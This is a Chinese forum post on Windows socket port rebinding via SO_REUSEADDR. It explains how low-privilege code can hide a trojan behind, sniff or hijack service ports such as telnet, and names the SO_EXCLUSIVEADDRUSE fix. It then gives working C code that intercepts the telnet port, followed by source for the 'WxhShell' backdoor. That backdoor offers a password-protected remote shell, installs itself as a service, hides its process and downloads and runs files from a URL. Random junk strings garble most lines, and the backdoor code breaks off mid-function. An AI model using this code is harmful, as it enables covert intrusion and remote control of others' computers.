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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5Z7<X2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \V|\u=@H  
0wLu*K5$4E  
  saddr.sin_family = AF_INET; d (Fb_  
7J]tc1-re  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Yd4J:  
_M/ckv1q@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -$E_L :M  
8} \Lt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /.<T^p@\&  
vMiZ:*iaj@  
  这意味着什么?意味着可以进行如下的攻击: HXTBxh  
[lqwzW{(UN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 af61!?K  
ey@]B5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DHO6&8S  
9=j"kXFf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2NLD7A  
a{7>7%[  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sS, Swgr  
F#X&Tb{  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 lCDu,r;\  
2Y)3Ue  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jmbwV,@Q2  
+s:!\(BM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }@Ij}Ab>  
`/:ZB6  
  #include _-&\~w  
  #include ~Cx07I_lf  
  #include YK/?~p9:  
  #include    |hjm^{!TpW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u=h:d+rq@  
  int main() $ZD1_sJ.  
  { {$,e@nn  
  WORD wVersionRequested; :A\8#]3  
  DWORD ret; njveZav  
  WSADATA wsaData; r^mP'#  
  BOOL val; ,YYyFMC7S  
  SOCKADDR_IN saddr; XO+^q9  
  SOCKADDR_IN scaddr; l+'@y (}Q  
  int err; wuCiO;w  
  SOCKET s; <FIc!  
  SOCKET sc; N<1u,[+  
  int caddsize; c rPEr  
  HANDLE mt; ~F^(O{EG  
  DWORD tid;   a$p?r3y  
  wVersionRequested = MAKEWORD( 2, 2 ); wK+%[i&,  
  err = WSAStartup( wVersionRequested, &wsaData ); N/QTf1$  
  if ( err != 0 ) { _ji"##K  
  printf("error!WSAStartup failed!\n"); n*6Oa/JG7  
  return -1; #1i&!et&/  
  } EELS-qA  
  saddr.sin_family = AF_INET; LfEeFF=#n  
   5w)tsGX\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 e`%U}_[d  
"d60IM#N?  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); hA.?19<Z  
  saddr.sin_port = htons(23); I@a y&NNh  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) > 4>!zZ  
  { ld8E!t[  
  printf("error!socket failed!\n"); S>isWte  
  return -1; iB;EV8E  
  } ES[H^}|Gi  
  val = TRUE; K,{P b?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'M>QA"*48E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) LeDty_  
  { ezn%*X y,  
  printf("error!setsockopt failed!\n"); ]z EatY  
  return -1; 1*\JqCR  
  } XdX1GH*C  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fvn`$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DD`Bl1)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &~ of]A  
O4w6\y3U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?AC flU_k  
  { +eSNwR=  
  ret=GetLastError(); R57>z`;  
  printf("error!bind failed!\n"); | +osEHC  
  return -1; "]\sw"zO?  
  } U5N/'p%)<  
  listen(s,2); e&WlJ  
  while(1) 6%bZZTP`  
  { w& yK*nBK  
  caddsize = sizeof(scaddr); e P]L  
  //接受连接请求 #=mLQSiQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); yd#SB)&  
  if(sc!=INVALID_SOCKET) tHAr9  
  { P;_}nbB  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :.wR*E  
  if(mt==NULL) .J0s_[  
  { $+CKy>  
  printf("Thread Creat Failed!\n"); iV#sMJN9  
  break; %M8 m 8 )  
  } {;uOc{~+  
  } 5}S~8  
  CloseHandle(mt); XpWcf ([  
  } {~J'J$hn8  
  closesocket(s); coa+@g,w7#  
  WSACleanup(); 4D+S\S0bk  
  return 0; d:C|laZHn  
  }   1t&LNIc|^  
  DWORD WINAPI ClientThread(LPVOID lpParam) a6\0XVU  
  { ~6YTm6o  
  SOCKET ss = (SOCKET)lpParam; cu{c:z~  
  SOCKET sc; @r7ekyO8)  
  unsigned char buf[4096]; /Kcp9Qx  
  SOCKADDR_IN saddr; P2la/jN  
  long num; bMe/jQuL.$  
  DWORD val; f793yCiG  
  DWORD ret; zh8\ _> +  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +9LIpU&5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   je_:hDr  
  saddr.sin_family = AF_INET; = BcKWC  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); []^fb,5a  
  saddr.sin_port = htons(23); jSi\/(E  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =.T50~+M  
  { UnTnc6Bo7W  
  printf("error!socket failed!\n"); @ sLb=vb  
  return -1; UAleGR`,  
  } BwpEIV@b]  
  val = 100;  zciL'9  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :wWPEhK  
  { lICpfcc(+  
  ret = GetLastError(); =CBY_  
  return -1; MZJ@qIg[Y  
  } v_U+wga  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) K qK?w*Qw  
  { @fz0-vT,  
  ret = GetLastError(); t`F<lOKj  
  return -1; >|j8j:S[  
  } ^w|D^F=o  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) SZ$~zT;c  
  { 'Cr2& dy  
  printf("error!socket connect failed!\n"); w3hG\2)[HS  
  closesocket(sc); olA 1,8  
  closesocket(ss); DIAHI V<  
  return -1; "~V|p3  
  } w?eJVi@w{  
  while(1) E ^ub8  
  { 0c{-$K}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]lQLA IQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 A^L8"  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Y8i'=Po%,  
  num = recv(ss,buf,4096,0); n1Ic[cM}  
  if(num>0) #_(t46  
  send(sc,buf,num,0); C!,|Wi2&  
  else if(num==0) )By #({O  
  break; Nw3K@ Ge  
  num = recv(sc,buf,4096,0); %imI.6   
  if(num>0) F7!q18ew  
  send(ss,buf,num,0); tBB\^xq:  
  else if(num==0) `8x.Mv  
  break; D MzDV_  
  } 2)-V\:;js  
  closesocket(ss); V1l9T_;f  
  closesocket(sc); K>a@AXC  
  return 0 ;  b79z<D  
  } g$?kL  
wC&+nS1  
v % c-El%  
========================================================== vV$6fvS  
$!LL  
下边附上一个代码,,WXhSHELL Uo]x6j<  
 0?80V'  
========================================================== <>l!  
g&]n:qx  
#include "stdafx.h" -a+oQP]O  
x<=<Lx0B;  
#include <stdio.h> Lb=4\ _  
#include <string.h> @Jh;YDr`A  
#include <windows.h> ]DJ] L=T7  
#include <winsock2.h> WHkrd8  
#include <winsvc.h> w~a_FGYX  
#include <urlmon.h> iJaA&z5sr  
PSB@yV <  
#pragma comment (lib, "Ws2_32.lib") =@\Li)Y  
#pragma comment (lib, "urlmon.lib") nqv#?>Z^OT  
h 0c&}kM  
#define MAX_USER   100 // 最大客户端连接数 fU^6h`t  
#define BUF_SOCK   200 // sock buffer a +lTAe  
#define KEY_BUFF   255 // 输入 buffer M/x*d4b_  
QnMN8Q9  
#define REBOOT     0   // 重启  b^dBX  
#define SHUTDOWN   1   // 关机 9zKbzT]  
=5 kTzH.  
#define DEF_PORT   5000 // 监听端口 sry`EkS  
Om,M8!E  
#define REG_LEN     16   // 注册表键长度 w~|z0;hC  
#define SVC_LEN     80   // NT服务名长度 *.P3fVlZ  
Jc9BZ`~i  
// 从dll定义API 3:B4;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _/pdZM,V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %CaF-m=Pq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x6iT"\MO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fa#5pys  
U#gv ~)\k  
// wxhshell配置信息 " ra C?H  
struct WSCFG { z$]HZ#aRE  
  int ws_port;         // 监听端口 p6*|)}T_%  
  char ws_passstr[REG_LEN]; // 口令 dk@j!-q^  
  int ws_autoins;       // 安装标记, 1=yes 0=no .!2Ac  
  char ws_regname[REG_LEN]; // 注册表键名 \0bZ1"  
  char ws_svcname[REG_LEN]; // 服务名 JQO%-=t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ) mG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -Izc-W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Xhk_h2F[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !fT3mI6u\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _usi~m  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <&87aDYz  
j"J[dlm2M  
}; ^BN?iXQhN  
 $hgsWa  
// default Wxhshell configuration y0b FzR9  
struct WSCFG wscfg={DEF_PORT, Fq`wx  
    "xuhuanlingzhe", rvwfQ'14  
    1, Z#_+yw  
    "Wxhshell", hcJny  
    "Wxhshell", cuUlr  
            "WxhShell Service", noSBwP| v*  
    "Wrsky Windows CmdShell Service", M].D27  
    "Please Input Your Password: ", ?]Z EK8c  
  1, bA*T1Db,t>  
  "http://www.wrsky.com/wxhshell.exe", O ]Stf7]%;  
  "Wxhshell.exe" Q VJvuiUh  
    }; H'2Un(#Al  
<f/wWu}  
// 消息定义模块 FZJyqqA$_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YA'_Ba(v)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jb {5   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6u-aV  
char *msg_ws_ext="\n\rExit."; YThFskRoO  
char *msg_ws_end="\n\rQuit."; @K}8zMmW#  
char *msg_ws_boot="\n\rReboot..."; h"849c;C.  
char *msg_ws_poff="\n\rShutdown..."; ?D]qw4J  
char *msg_ws_down="\n\rSave to "; o<f|jGY0  
"~=\AB=+Z  
char *msg_ws_err="\n\rErr!"; DNp4U9  
char *msg_ws_ok="\n\rOK!"; $0wF4$)  
|vf /M|  
char ExeFile[MAX_PATH]; o ImW  
int nUser = 0; fNZ:l=L3):  
HANDLE handles[MAX_USER]; .!`v2_  
int OsIsNt; eF%IX  
j[q$;uSD  
SERVICE_STATUS       serviceStatus; @ZFU< e$!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NX5NE2@^qH  
uom~, k$|  
// 函数声明 iT}L9\  
int Install(void); ;x~[om21;  
int Uninstall(void); 4}>1I}!k  
int DownloadFile(char *sURL, SOCKET wsh); |&xjuBC  
int Boot(int flag); K-f\nr  
void HideProc(void); j6.'7f5M<H  
int GetOsVer(void); PdNxuy  
int Wxhshell(SOCKET wsl); .jps6{  
void TalkWithClient(void *cs); *iW$>Yjb  
int CmdShell(SOCKET sock); M!E#T-)  
int StartFromService(void); |Je+y;P7  
int StartWxhshell(LPSTR lpCmdLine); i[M]d`<36  
kFi^P~3D[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J&jNONu?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); my(yN|  
9b}AZ]$  
// 数据结构和表定义 xB&6f")  
SERVICE_TABLE_ENTRY DispatchTable[] = .wv!;  
{ va_TC!{;  
{wscfg.ws_svcname, NTServiceMain}, W2 ([vRT  
{NULL, NULL} ok+-#~VTn  
}; avI   
@N0(%o&  
// 自我安装 {x8UL7{  
int Install(void) `+go| 5N2  
{ Q8sCI An{  
  char svExeFile[MAX_PATH]; %=O$@.%Zc  
  HKEY key; Hxm CKW!  
  strcpy(svExeFile,ExeFile); YvP u%=eF  
[ queXDn"m  
// 如果是win9x系统,修改注册表设为自启动 wcI4Y0+J  
if(!OsIsNt) { T2$V5RyX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <fLk\ =  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F< #!83*%  
  RegCloseKey(key); D;l)&"|r?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LN?b6s75U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^M Zdht   
  RegCloseKey(key); 9+sOSz~ P  
  return 0; nPj/C7j  
    } LpJ_HU7@lk  
  } $*u{i4b  
} <Gr775"  
else { }nW)+  
,UD,)ZPf[  
// 如果是NT以上系统,安装为系统服务 ecI[lB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E*t0ia8  
if (schSCManager!=0) &_!g|-  
{ 2\,vq R  
  SC_HANDLE schService = CreateService 5E#koy7 $s  
  ( t,8p}2,$  
  schSCManager, tR]1c  
  wscfg.ws_svcname, # Y*cLN`Y7  
  wscfg.ws_svcdisp, jSj (ZU6  
  SERVICE_ALL_ACCESS, }Pj3O~z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  9g*MBe:  
  SERVICE_AUTO_START, R{"7q:-  
  SERVICE_ERROR_NORMAL, |F'k5Lh  
  svExeFile, 1wqsGad+;  
  NULL, |5}~n"R5  
  NULL, r|WoM39bp  
  NULL, 0*.> >rI  
  NULL, :K) =Hf2y  
  NULL 9N[vNg<n  
  ); *<**rY*  
  if (schService!=0) Z`l97$\  
  { |Gw[vY  
  CloseServiceHandle(schService); -pRyN]YD  
  CloseServiceHandle(schSCManager); X%1fMC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?q%)8 E  
  strcat(svExeFile,wscfg.ws_svcname); +c699j;[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R":nG7o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3-Q*umh  
  RegCloseKey(key); `aS9 o]t  
  return 0; g]g2`ab |  
    } (zFUC]  
  } V+()`>44  
  CloseServiceHandle(schSCManager); oj7X9~ nd  
} w:z@!<  
} tzxp0&:Z].  
m_TZY_;  
return 1; jaAv_=93f  
} #@m*yJg<  
d`| W6Do  
// 自我卸载 %KeQp W  
int Uninstall(void) G~{xTpL  
{ X^#.4:>.  
  HKEY key; o%Lk6QA$  
.bOueB-  
if(!OsIsNt) { }[u9vZL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C/Ig.KmXF{  
  RegDeleteValue(key,wscfg.ws_regname); Bu'PDy~W,  
  RegCloseKey(key); / 4K*iq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EX[X|"r   
  RegDeleteValue(key,wscfg.ws_regname); >a]4}  
  RegCloseKey(key); 1:%m >4U  
  return 0; <[^nD>t_  
  } yiUJ!m  
} >NN|vj  
} FxKb  
else { DlR&Lnv  
6qK0G$>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `he{"0U~S  
if (schSCManager!=0) p;VqkSQ76  
{ N,w;s-*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qVFz-!6b  
  if (schService!=0) |67j__XC  
  { Y"mD)\Bw?  
  if(DeleteService(schService)!=0) { a$MMp=p  
  CloseServiceHandle(schService); O\L(I079  
  CloseServiceHandle(schSCManager); <ZJ>jZV0*  
  return 0; N1Y*IkW"  
  } VwoCR q*  
  CloseServiceHandle(schService); (~TP  
  } `5`Pv'`  
  CloseServiceHandle(schSCManager); [&rW+/  
} unmuY^+<  
} n>\BPiz  
YtNoYOB  
return 1; AQ-P3`bCb  
} d8g3hyI5\  
Q=yQEh|Y  
// 从指定url下载文件 Dd*T5A?  
int DownloadFile(char *sURL, SOCKET wsh) HPAg1bV:-  
{ -9{}rE  
  HRESULT hr; y^zVb\"4  
char seps[]= "/"; Vzz0)`*hQ  
char *token; Yuze9b\[  
char *file; bK%go  
char myURL[MAX_PATH]; 9 il!w g?  
char myFILE[MAX_PATH]; 1+o>#8D  
 "t8mQ;n  
strcpy(myURL,sURL); {!B0&x  
  token=strtok(myURL,seps); TUZ-4{kV"  
  while(token!=NULL) -(>x@];r0  
  { ##,i<  
    file=token; 4aAr|!8|h!  
  token=strtok(NULL,seps); 0i$jtCCL(  
  } kT UQ8U  
9U58#  
GetCurrentDirectory(MAX_PATH,myFILE); /U)w:B+p/g  
strcat(myFILE, "\\"); @l&5 |Cia  
strcat(myFILE, file); 6.~(oepu  
  send(wsh,myFILE,strlen(myFILE),0); P]+^^ U  
send(wsh,"...",3,0); Tp<=dH%$%"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]k{cPK  
  if(hr==S_OK) ZzI^*Nyg  
return 0; M!=v"C#  
else quf,Z K5  
return 1; 2Z,;#t  
ekP=/;T#S  
} (EU X>IJ  
K;-:C9@  
// 系统电源模块 ;oC85I  
int Boot(int flag)  iTbmD  
{ ,^|+n()O  
  HANDLE hToken; ]-)qL[Q  
  TOKEN_PRIVILEGES tkp; W1y,.6  
. xX xjl  
  if(OsIsNt) { ,y2ur2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xVKx#X9yk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >Z|4/PF  
    tkp.PrivilegeCount = 1; G`mC=*M a;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r7*[k[^[^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~srmlBi6  
if(flag==REBOOT) { 7z=Ss'O]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TDY}oGmNn  
  return 0; +zs;>'Sf  
} <g,k[  
else { O(/K@e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1WcT>_$  
  return 0; J~<:yBup}  
} 4pq>R  
  } ?Dm!;Z+7  
  else { H:9( XW  
if(flag==REBOOT) { DfV_08  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) IwFg1\>  
  return 0; ,X\z#B  
} 5 qG7LO.  
else { X/i8$yqv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &.7\{q\(  
  return 0; ;=)CjC8)  
} xvp{F9~qT  
} #JuO  
'L3 \I  
return 1; q97Dn[>3  
} +#Ov9b  
)_.@M '?  
// win9x进程隐藏模块 h{<^?=  
void HideProc(void) |EU}&k2  
{ 0<v~J9i  
)zUV6U7v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^n]tf9{I  
  if ( hKernel != NULL ) = "c _<?=[  
  { $am7 xd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4)'5;|pI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sd8o&6  
    FreeLibrary(hKernel); 51;(vf  
  } do=VPqy  
]X?+]9Fr  
return; s o~p+]  
} f^%vIB ~[  
%7 J  
// 获取操作系统版本 '` [nt25N  
int GetOsVer(void) 4sZ^:h,1  
{ >454Yir0Mk  
  OSVERSIONINFO winfo; T| 4c\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L?9Vz&8]  
  GetVersionEx(&winfo); m> NRIEA6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) HSK^vd?_l  
  return 1; p2&KGt X'  
  else WJz   
  return 0; \=yg@K?"AJ  
} SfL,_X]*  
uVscF 4  
// 客户端句柄模块 6Mk@,\1  
int Wxhshell(SOCKET wsl) _FdWV?  
{ "_#%W oo  
  SOCKET wsh; Nb]qY>K  
  struct sockaddr_in client; },i?3dSvl  
  DWORD myID; gscs B4<  
ZklidHL');  
  while(nUser<MAX_USER) T_Y6AII  
{ 9sE>K)  
  int nSize=sizeof(client); 7* `ldao~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )-jvp8%BK  
  if(wsh==INVALID_SOCKET) return 1; "n]B~D  
%&gx@ \v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &# @1n  
if(handles[nUser]==0) ?;{A@icr  
  closesocket(wsh); 4F:RLj9P!  
else L</"m[  
  nUser++; o@pM??&x  
  } Rut6m5>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); / m?Z!  
a~XNRAh  
  return 0; :K8T\  
} ,Y!T!o} 1  
~s5Sk#.z5  
// 关闭 socket DK)qBxc8  
void CloseIt(SOCKET wsh) Q?1 KxD!  
{ O]2h=M@q.  
closesocket(wsh); **s:H'Mw_  
nUser--; ^?J:eB!  
ExitThread(0); 1km=9[;w'  
} %0u7pk  
h/_z QR-  
// 客户端请求句柄 !J2Lp  
void TalkWithClient(void *cs) slQKkx \Dn  
{ Kw?,A   
W%h<@@c4,  
  SOCKET wsh=(SOCKET)cs; E-"Jgq\aC  
  char pwd[SVC_LEN]; MESQAsx%  
  char cmd[KEY_BUFF]; }W|CIgF*  
char chr[1]; gJF;yW 4  
int i,j; BO h  
Nxt/R%(  
  while (nUser < MAX_USER) { Hss{Sb(  
%%k[TO  
if(wscfg.ws_passstr) { np>*O}r*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jgGn"}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2G'G45Q  
  //ZeroMemory(pwd,KEY_BUFF); MPGQ4vi&  
      i=0; :nXB w%0x  
  while(i<SVC_LEN) { |Xu7cCh$me  
]\3dJ^q|%  
  // 设置超时 >2C;5ba  
  fd_set FdRead; GuS3O)6Sg  
  struct timeval TimeOut; km|~DkJ\a`  
  FD_ZERO(&FdRead); 6Q wL  
  FD_SET(wsh,&FdRead); P4N{lQ.>  
  TimeOut.tv_sec=8; U 9 k}y  
  TimeOut.tv_usec=0; I'yhxymZ;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4l3N#U0Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `/|=eQ")o@  
9g*~X;`2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XSD7~X/:  
  pwd=chr[0]; U>I#f  
  if(chr[0]==0xd || chr[0]==0xa) { -pjL7/gx  
  pwd=0; 67sb D<r  
  break; SZ1C38bd,.  
  } z1:auodI@  
  i++; O'mX7rY<<(  
    } IM@Qe|5  
/JfXK$`  
  // 如果是非法用户,关闭 socket k1cBMDSokO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #/1Bam6  
} DV.MvFV  
:?^(&3;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~\kRW6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AV&eg e  
=AAH}  
while(1) { nv8,O=#s  
+,KuYa{lu  
  ZeroMemory(cmd,KEY_BUFF); oC?b]tzj  
|zUDu\MZ{  
      // 自动支持客户端 telnet标准   +?L~fM69B  
  j=0; mee-Qq:}  
  while(j<KEY_BUFF) { ilHj%h*z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h FjW.~B  
  cmd[j]=chr[0]; rms&U)?  
  if(chr[0]==0xa || chr[0]==0xd) { !eO?75/  
  cmd[j]=0; 3&zmy'b*:  
  break; iy4JI,-W  
  } t +#Ss v8  
  j++; @z,'IW74V  
    } tDwXb>  
VEn%_9(]  
  // 下载文件 1|]-F;b  
  if(strstr(cmd,"http://")) { *X>rvAd3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .Q#Eb %%  
  if(DownloadFile(cmd,wsh)) -y AIrvO1q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kfr?sX  
  else 7oWv'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H>D_0o<#y  
  } H9nq.<;p  
  else { mB :lp=c`  
(+U!# T]'D  
    switch(cmd[0]) { I2Us!W>6-  
  [_~U<   
  // 帮助 DUtpd|  
  case '?': { R5FjJ>JE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mB,7YZv  
    break; X >**M  
  } 6` s[PKP.  
  // 安装 r*$"]{m}  
  case 'i': { +`4|,K7'  
    if(Install()) 1ERz:\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +g;G*EP7*  
    else $@NZ*m%?JQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &sKYO<6K }  
    break; [ wROIvV  
    } $M8'm1R9  
  // 卸载 PM|K*,3J  
  case 'r': { aR\=p:%jGI  
    if(Uninstall())  ;js7rt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e (f)?H  
    else JDs<1@\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fivv#4YO  
    break; U8c0C/  
    } g5"g,SFGr  
  // 显示 wxhshell 所在路径 Z4e?zY  
  case 'p': { 9UwDa`^  
    char svExeFile[MAX_PATH]; V- v Vb  
    strcpy(svExeFile,"\n\r"); 3Q#VD)  
      strcat(svExeFile,ExeFile); B845BSmh  
        send(wsh,svExeFile,strlen(svExeFile),0); n-\B z.  
    break; |fA[s7)  
    } MHbRG_zW  
  // 重启 Rl)/[T  
  case 'b': { oYF8:PYB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bZi>   
    if(Boot(REBOOT)) tQ/w\6{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W t8 RC  
    else { AiyjrEa%  
    closesocket(wsh); KW 09qar  
    ExitThread(0); z(]*'0)P  
    } %d>Ktf  
    break; igp4[Hj  
    } !At_^hSqz  
  // 关机 YcGqT2oLP  
  case 'd': { wF%XM_M  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Wb|IWn H$  
    if(Boot(SHUTDOWN)) vxwctJ&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dv,8iOL  
    else { )rXP2Z  
    closesocket(wsh); +<iw|vr  
